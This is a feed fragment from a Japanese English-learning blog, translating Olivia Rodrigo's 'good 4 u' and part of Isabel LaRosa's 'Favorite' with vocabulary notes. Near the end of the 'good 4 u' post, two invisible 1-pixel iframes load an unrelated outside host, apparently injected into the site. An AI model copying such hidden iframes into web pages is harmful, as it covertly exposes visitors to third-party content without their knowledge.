<strong>Want you to tell me you crave it</strong><br />
<strong>My name&#8217;s whatever you make it</strong></p>
<p>ダーリン、お気に入りになってあげる<br />
彼女になってあげる　私を味わって<br />
欲しいでしょ？だから受け取って<br />
ダーリン、お気に入りになってあげる<br />
欲しいって言って<br />
名前なんて好きなように呼んで</p>
<p>・crave＝切望する</p>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&amp;linkname=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2024%2F04%2F27%2Ffavorite%2F&#038;title=Tiktok%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%A6%E3%82%8B%E3%80%80%E3%82%A4%E3%82%B6%E3%83%99%E3%83%AB%E3%83%BB%E3%83%A9%E3%83%AD%E3%83%BC%E3%82%B6%E3%81%AE%E6%96%B0%E6%9B%B2%E3%80%8AFavorite%E3%80%8B%E5%92%8C%E8%A8%B3" data-a2a-url="https://ffeng.jp/2024/04/27/favorite/" data-a2a-title="Tiktokでバズってる　イザベル・ラローザの新曲《Favorite》和訳"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2024/04/27/favorite/">Tiktokでバズってる　イザベル・ラローザの新曲《Favorite》和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/10/23/edamame/' title='ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/K6BRna4_bmg?si=7qPINKDPW0wVmUid" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2020/07/07/maisiepeters/' title='メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2020/07/45453408_1282554225219698_7988138239934332928_n-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2020/07/45453408_1282554225219698_7988138239934332928_n-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2020/07/45453408_1282554225219698_7988138239934332928_n-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">メイジー・ピータース『Sad Girl Summer』和訳。夏の失恋を癒すエモくてキャッチーなメロディ　　</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/06/29/afterparty/' title='アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2021/06/img_8878-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2021/06/img_8878-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2021/06/img_8878-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1944</post-id>	</item>
		<item>
		<title>オリヴィア・ロドリゴ「good 4 u」和訳。すぐに新しい彼女へと乗り換えた彼への怒りをぶつけた話題曲</title>
		<link>https://ffeng.jp/2021/06/02/good4u/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Wed, 02 Jun 2021 11:48:26 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[18歳]]></category>
		<category><![CDATA[2021年]]></category>
		<category><![CDATA[5月21日]]></category>
		<category><![CDATA[apathy]]></category>
		<category><![CDATA[dejavu]]></category>
		<category><![CDATA[drivers license]]></category>
		<category><![CDATA[emotional]]></category>
		<category><![CDATA[good 4 u]]></category>
		<category><![CDATA[Good for you]]></category>
		<category><![CDATA[moved on]]></category>
		<category><![CDATA[Olivia Rodrigo]]></category>
		<category><![CDATA[RIAA]]></category>
		<category><![CDATA[sociopath]]></category>
		<category><![CDATA[SOUR]]></category>
		<category><![CDATA[Spotify]]></category>
		<category><![CDATA[wound in salt]]></category>
		<category><![CDATA[アメリカ]]></category>
		<category><![CDATA[アメリカ・レコード協会]]></category>
		<category><![CDATA[オリヴィア・ロドリゴ]]></category>
		<category><![CDATA[コロナ渦]]></category>
		<category><![CDATA[ゴールド・ディスク]]></category>
		<category><![CDATA[ソシオパス]]></category>
		<category><![CDATA[テイラー・スウィフト]]></category>
		<category><![CDATA[デイリーストリーミング数]]></category>
		<category><![CDATA[デビューアルバム]]></category>
		<category><![CDATA[デビューシングル]]></category>
		<category><![CDATA[フィリピン系アメリカ人]]></category>
		<category><![CDATA[傷口に塩を塗り込む]]></category>
		<category><![CDATA[史上最大]]></category>
		<category><![CDATA[感情的]]></category>
		<category><![CDATA[新記録]]></category>
		<category><![CDATA[最大の初週売り上げ]]></category>
		<category><![CDATA[次の恋に進む]]></category>
		<category><![CDATA[無関心]]></category>
		<category><![CDATA[理解できない]]></category>
		<category><![CDATA[良かったわね]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1493</guid>

					<description><![CDATA[<p>今回は、今乗りに乗っている18歳のオリヴィア・ロド <a class="mh-excerpt-more" href="https://ffeng.jp/2021/06/02/good4u/" title="オリヴィア・ロドリゴ「good 4 u」和訳。すぐに新しい彼女へと乗り換えた彼への怒りをぶつけた話題曲">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2021/06/02/good4u/">オリヴィア・ロドリゴ「good 4 u」和訳。すぐに新しい彼女へと乗り換えた彼への怒りをぶつけた話題曲</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/09/29/getstupid/' title='bülow 《Get Stupid》和訳　アメリカの学生パーティを覗き見しよう！'>
<img width="120" height="95" src="https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790.jpg 1000w, https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790-300x237.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/09/BULOW3_Compressed-1000x790-768x607.jpg 768w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">bülow 《Get Stupid》和訳　アメリカの学生パーティを覗き見しよう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp 120w, https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-150x150.webp 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/12/03/mariah-carey__trashed/' title='クリスマスソングを歌ってみよう！マライヤ・キャリー「恋人たちのクリスマス」'>
<img width="120" height="80" src="https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe.jpg 810w, https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe-300x200.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe-768x511.jpg 768w, https://ffeng.jp/wp-content/uploads/2019/12/A-couple-kissing-beneath-the-mistletoe-600x399.jpg 600w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">クリスマスソングを歌ってみよう！マライヤ・キャリー「恋人たちのクリスマス」</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>今回は、今乗りに乗っている<strong>18歳</strong>の<strong>オリヴィア・ロドリゴ</strong>（<strong>Olivia Rodrigo</strong>）の「<strong>good 4 u</strong>」をご紹介します。</p>
<p>今年1月コロナ渦でリリースした<strong>デビューシングル</strong>「<strong>drivers license</strong>」が、「ホリデーソングを除くS<strong>potify史上最大</strong>の<strong>デイリーストリーミング数</strong>」の新記録を打ち立てた<strong>オリヴィア・ロドリゴ</strong>。母国アメリカを飛び出し世界中で大ヒットした「<strong>drivers license</strong>」や「<strong>dejavu</strong>」が収録された<strong>5月21日発売</strong>の<strong>デビューアルバム</strong>「<strong>SOUR</strong>」から<strong>新曲</strong>「<strong>good 4 u</strong>」がシングルカットされるや否や、配信開始から1週間で全世界の音楽再生数が<strong>1億800万回</strong>、ビデオ再生数が<strong>4300万回</strong>に到達するなどこれまた大ヒットとなっています。</p>
<p>全２作がセンチメンタルなメロドラマチックな歌詞だったのに対し、今回は、<strong>とっとと次の彼女に乗り換え幸せそうにしている彼にむかつく心情</strong>を綴った<strong>ちょっと過激な</strong>歌詞にポップなロック調のメロディで「<strong>good 4 u</strong>（<strong>良かったわね！</strong>）」と歌い出しから攻めたてます。どこか<strong>テイラー・スウィフト</strong>を彷彿とさせる彼女は、実際テイラーとも親交があるそう。</p>
<p><div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim"><strong>It was super-important to me that I told my own stories in my unique voice.</strong></p>
<p>実際に起きたことを自分の声で伝えるのがとても重要よ</div></div></p>
<p>と語る彼女。この歌も実体験なのでしょうか…。</p>
<h3>オリヴィア・ロドリゴってどんな歌手？</h3>
<p><strong>2003年カリフォルニア</strong>生まれの<strong>フィリピン系アメリカ人</strong>。『<strong>ハイスクール・ミュージカル:ザ・ミュージカル</strong>』で主役を張るなど子役ミュージカル女優としてキャリアを積み、2021年1月にリリースしたデビューシングル「<strong>drivers license</strong>」が世界中で前例のない数々の新記録を打ち立て華々しいデビューを飾りました。世界最大の<strong>テイラー・スウィフトファン</strong>だと自称するほどテイラーを敬愛し、すべての曲はから着想を得ているそう。<br />
<strong>5月21日</strong>に発売された<strong>デビューアルバム</strong>『<strong>SOUR</strong>』は、アメリカですでに<strong>30万枚</strong>相当のセールスを記録し、全米アルバム・チャートで初登場1位を獲得。発売初週で、アメリカ・レコード協会（RIAA）の<strong>ゴールド・ディスク</strong>に認定され、2021年最大の初週売り上げを記録しました。</p>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-gni_6u5pm_o-2" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-gni_6u5pm_o-2" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/gNi_6U5Pm_o?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/gNi_6U5Pm_o?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2021\/06\/02\/good4u\/#arve-youtube-gni_6u5pm_o-2","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/gNi_6U5Pm_o?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>
<h2>good 4 u　–　Olivia Rodrigo</h2>
<p><strong>Well, good for you, I guess you moved on really easily</strong><br />
<strong>You found a new girl and it only took a couple weeks</strong><br />
<strong>Remember when you said that you wanted to give me the world?</strong><br />
<strong>And good for you, I guess that you’ve been workin’ on yourself</strong><br />
<strong>I guess that therapist I found for you, she really helped</strong><br />
<strong>Now you can be a better man for your brand new girl</strong></p>
<p><strong>良かったわね</strong> 簡単に<strong>次の恋に進めて</strong><br />
すぐに新しい彼女に<strong>乗り換えてさ</strong><br />
私に世界を見せてやるって言ったよね？<br />
良かったわね　<strong>自分磨きの甲斐</strong>があって<br />
私が見つけたセラピストが助けてくれたのよね<br />
新しい彼女のために もっとマシな男になればいいわ</p>
<p><strong>Well, good for you</strong><br />
<strong>You look happy and healthy, not me</strong><br />
<strong>If you ever cared to ask</strong><br />
<strong>Good for you</strong><br />
<strong>You’re doin’ great out there without me, baby</strong><br />
<strong>God, I wish that I could do that</strong><br />
<strong>I’ve lost my mind, I’ve spent the night</strong><br />
<strong>Cryin’ on the floor of my bathroom</strong><br />
<strong>But you’re so unaffected, I really don’t get it</strong><br />
<strong>But I guess good for you</strong></p>
<p>良かったわね<br />
あなたはハッピーで色艶もいい　私とは違うわね<br />
もしあなたが<strong>気にかけてくれたら</strong>って思うわ<br />
<strong>良かったわね</strong><br />
私がいなくてもあなたは立派にやっているね<br />
神様　私もそうだといいわ<br />
あの日一晩中、<strong>気が狂った</strong>ように<br />
バスルームの床で泣いたのなんて知らないでしょ<br />
でもあなたは知らないのよね 私には理解できないわ<br />
でも、<strong>良かったわね</strong></p>
<p><strong>Well, good for you, I guess you’re gettin’ everything you want (Ah)</strong><br />
<strong>You bought a new car and your career’s really takin’ off (Ah)</strong><br />
<strong>It’s like we never even happened</strong><br />
<strong>Baby, what the fuck is up with that? (Ah)</strong><br />
<strong>And good for you, it’s like you never even met me</strong><br />
<strong>Remember when you swore to God I was the only</strong><br />
<strong>Person who ever got you? Well, screw that, and screw you</strong><br />
<strong>You will never have to hurt the way you know that I do</strong></p>
<p><strong>良かったわね</strong>　欲しいものは何でも手に入れるのよね<br />
新しい車も買ってキャリアも<strong>順調よね</strong><br />
私とは何もなかったかのように<br />
一体なんだっていうのよ？！<br />
<strong>良かったわね</strong><br />
私とは出会わなかったことになってるんでしょ<br />
私だけだって言ったの覚えてる？<br />
どうにでもなってしまえばいいのよ<br />
あんな風に傷付いたことないよね</p>
<p><strong>Well, good for you</strong><br />
<strong>You look happy and healthy, not me</strong><br />
<strong>If you ever cared to ask</strong><br />
<strong>Good for you</strong><br />
<strong>You’re doin’ great out there without me, baby</strong><br />
<strong>God, I wish that I could do that</strong><br />
<strong>I’ve lost my mind, I’ve spent the night</strong><br />
<strong>Cryin’ on the floor of my bathroom</strong><br />
<strong>But you’re so unaffected, I really don’t get it</strong><br />
<strong>But I guess good for you</strong></p>
<p><strong>良かったわね</strong><br />
あなたはハッピーで色艶もいい　私とは違うわね<br />
もしあなたが気にかけてくれたらって思うわ<br />
良かったわね<br />
私がいなくてもあなたは立派にやっているね<br />
私もそうだといいわ<br />
あの日一晩中、気が狂ったように<br />
バスルームの床で泣いたのなんて知らないでしょ<br />
でもあなたは<strong>知らない</strong>のよね 私には理解できないわ<br />
でも、良かったわね</p>
<p><strong>Maybe I’m too emotional</strong><br />
<strong>But your apathy’s like a wound in salt</strong><br />
<strong>Maybe I’m too emotional</strong><br />
<strong>Or maybe you never cared at all</strong><br />
<strong>Maybe I’m too emotional</strong><br />
<strong>Your apathy is like a wound in salt</strong><br />
<strong>Maybe I’m too emotional</strong><br />
<strong>Or maybe you never cared at all</strong></p>
<p><strong>感情的</strong>なのは認めるわ<br />
<strong>でもあなたの無関心は傷口に塩を塗り込むようなもの</strong><br />
<strong>感情的</strong>になりすぎよね<br />
あなたにとってはどうでもいいことよね<br />
あなたの<strong>無関心</strong>は<strong>傷口に塩を塗り込む</strong>ようなもの<br />
<strong>感情的</strong>になりすぎよね<br />
あなたにとってはどうでもいいことよね</p>
<p><strong>Well, good for you</strong><br />
<strong>You look happy and healthy, not me</strong><br />
<strong>If you ever cared to ask</strong><br />
<strong>Good for you</strong><br />
<strong>You’re doin’ great out there without me, baby</strong><br />
<strong>Like a damn sociopath</strong><br />
<strong>I’ve lost my mind, I’ve spent the night</strong><br />
<strong>Cryin’ on the floor of my bathroom</strong><br />
<strong>But you’re so unaffected, I really don’t get it</strong><br />
<strong>But I guess good for you</strong></p>
<p><strong>良かったわね</strong><br />
あなたはハッピーで色艶もいい　私とは違うわね<br />
もしあなたが気にかけてくれたらって思うわ<br />
<strong>良かったわね</strong><br />
私がいなくてもあなたは立派にやっているね<br />
まるで<strong>ソシオパス</strong>ね<br />
あの日一晩中、<strong>気が狂った</strong>ように<br />
バスルームの床で泣いたのなんて知らないでしょ<br />
でもあなたは<strong>知らない</strong>のよね 私には理解できないわ<br />
でも、<strong>良かったわね</strong></p>
<p>・<strong>good 4 u</strong> = <strong>good for you</strong>の略　良かったわね<br />
・<strong>move on </strong>= 次に進む<br />
・<strong>work on oneself</strong> = 自身を磨く<br />
・<strong>care to ask </strong>= 気にかけて聞く<br />
・<strong>lose one’s mind</strong> = 正気を失う<br />
・<strong>be unaffected </strong>= 全く影響がない<br />
・<strong>I really don’t get it</strong> = 全く理解できない<br />
・<strong>get everything one want</strong> = 欲しいものをすべて手に入れる<br />
・<strong>take off </strong> = 飛び立つ、うまくいく<br />
・<strong>too emotional</strong> = 感情的になりすぎる<br />
・<strong>apathy</strong> = 無関心<br />
・<strong>a wound in salt</strong> = 傷に塩を塗る<br />
・<strong>sociopath</strong> = ソシオパス</p>
<p><img loading="lazy" decoding="async" src="https://www10.a8.net/0.gif?a8mat=35PYA1+9WMO4Y+2NA+1THW9E" alt="" width="1" height="1" border="0" /><br />
<a href="//blog.with2.net/link/?2011927:3421"><img decoding="async" title="英会話ランキング" src="https://blog.with2.net/img/banner/c/banner_1/br_c_3421_1.gif" /></a><br />
<a style="font-size: 0.9em;" href="//blog.with2.net/link/?2011927:3421">英会話ランキング</a></p>
<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2021%2F06%2F02%2Fgood4u%2F&amp;linkname=%E3%82%AA%E3%83%AA%E3%83%B4%E3%82%A3%E3%82%A2%E3%83%BB%E3%83%AD%E3%83%89%E3%83%AA%E3%82%B4%E3%80%8Cgood%204%20u%E3%80%8D%E5%92%8C%E8%A8%B3%E3%80%82%E3%81%99%E3%81%90%E3%81%AB%E6%96%B0%E3%81%97%E3%81%84%E5%BD%BC%E5%A5%B3%E3%81%B8%E3%81%A8%E4%B9%97%E3%82%8A%E6%8F%9B%E3%81%88%E3%81%9F%E5%BD%BC%E3%81%B8%E3%81%AE%E6%80%92%E3%82%8A%E3%82%92%E3%81%B6%E3%81%A4%E3%81%91%E3%81%9F%E8%A9%B1%E9%A1%8C%E6%9B%B2" title="Line" rel="nofollow noopener" target="_blank"></a><a 